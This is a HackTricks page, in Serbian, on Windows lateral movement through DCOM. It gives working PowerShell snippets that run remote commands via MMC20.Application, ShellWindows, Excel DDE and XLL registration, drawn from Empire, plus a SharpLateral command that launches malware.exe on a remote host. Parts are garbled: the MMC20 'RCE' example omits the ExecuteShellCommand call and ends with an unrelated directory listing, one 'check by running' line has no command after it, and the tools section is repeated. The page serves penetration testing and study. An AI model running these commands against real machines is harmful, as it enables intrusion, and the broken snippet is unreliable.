hacktricks/windows-hardening/lateral-movement/dcom-exec.md

9.3 KiB

DCOM Exec

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


MMC20.Application

Za više informacija o ovoj tehnici pogledajte originalni post na https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/

Model distribuiranih objektnih komponenti (DCOM) predstavlja zanimljivu mogućnost za mrežne interakcije sa objektima. Microsoft pruža sveobuhvatnu dokumentaciju za DCOM i Model objektnih komponenti (COM), dostupnu ovde za DCOM i ovde za COM. Spisak DCOM aplikacija može se dobiti korišćenjem PowerShell komande:

Get-CimInstance Win32_DCOMApplication

COM objekat, MMC Application Class (MMC20.Application), omogućava skriptovanje MMC snap-in operacija. Posebno, ovaj objekat sadrži ExecuteShellCommand metod pod Document.ActiveView. Više informacija o ovom metodu može se pronaći ovde. Proverite pokretanjem:

Ova funkcija olakšava izvršavanje komandi preko mreže putem DCOM aplikacije. Za interakciju sa DCOM-om na daljinu kao administrator, PowerShell se može koristiti na sledeći način:

[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))

Ova komanda se povezuje sa DCOM aplikacijom i vraća instancu COM objekta. Metoda ExecuteShellCommand može zatim biti pozvana kako bi se izvršio proces na udaljenom računaru. Proces uključuje sledeće korake:

Provera metoda:

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member

Dobijanje daljinskog izvršenja koda (RCE):

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member

# Then just run something like:

ls \\10.10.10.10\c$\Users

ShellWindows & ShellBrowserWindow

Za više informacija o ovoj tehnici pogledajte originalni post https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/

Identifikovano je da objekat MMC20.Application nedostaje eksplicitna "LaunchPermissions", podrazumevajući dozvole koje dozvoljavaju pristup administratorima. Za dalje detalje, može se istražiti nit ovde, a preporučuje se korišćenje @tiraniddo OleView .NET za filtriranje objekata bez eksplicitnih Launch Permission.

Dva specifična objekta, ShellBrowserWindow i ShellWindows, istaknuta su zbog nedostatka eksplicitnih Launch Permissions. Odsustvo unosa LaunchPermission u registru pod HKCR:\AppID\{guid} označava nedostatak eksplicitnih dozvola.

ShellWindows

Za ShellWindows, koji nema ProgID, .NET metode Type.GetTypeFromCLSID i Activator.CreateInstance olakšavaju instanciranje objekta koristeći njegov AppID. Ovaj proces koristi OleView .NET za dobijanje CLSID-a za ShellWindows. Jednom kada je instanciran, interakcija je moguća kroz metod WindowsShell.Item, što dovodi do poziva metoda poput Document.Application.ShellExecute.

Dati su primeri PowerShell komandi za instanciranje objekta i izvršavanje komandi na daljinu:

$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)

Lateralno kretanje pomoću Excel DCOM objekata

Lateralno kretanje može se postići iskorišćavanjem DCOM Excel objekata. Za detaljne informacije, preporučuje se čitanje diskusije o iskorišćavanju Excel DDE za lateralno kretanje putem DCOM na Cybereason-ovom blogu.

Projekat Empire pruža PowerShell skriptu, koja demonstrira korišćenje Excela za izvršavanje udaljenog koda (RCE) manipulacijom DCOM objekata. U nastavku su isečci iz skripte dostupne na Empire-ovom GitHub repozitorijumu, prikazujući različite metode zloupotrebe Excela za RCE:

# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host  $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}

Alatke za automatizaciju lateralnog kretanja

Dve alatke su istaknute za automatizaciju ovih tehnika:

  • Invoke-DCOM.ps1: PowerShell skripta koju pruža Empire projekat koja pojednostavljuje pozivanje različitih metoda za izvršavanje koda na udaljenim mašinama. Ova skripta je dostupna na Empire GitHub repozitorijumu.

  • SharpLateral: Alatka dizajnirana za izvršavanje koda na daljinu, koja se može koristiti sa komandom:

SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Automatski alati

  • Powershell skripta Invoke-DCOM.ps1 omogućava lako pozivanje svih komentarisanih načina izvršavanja koda na drugim mašinama.
  • Takođe možete koristiti SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe

Reference

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: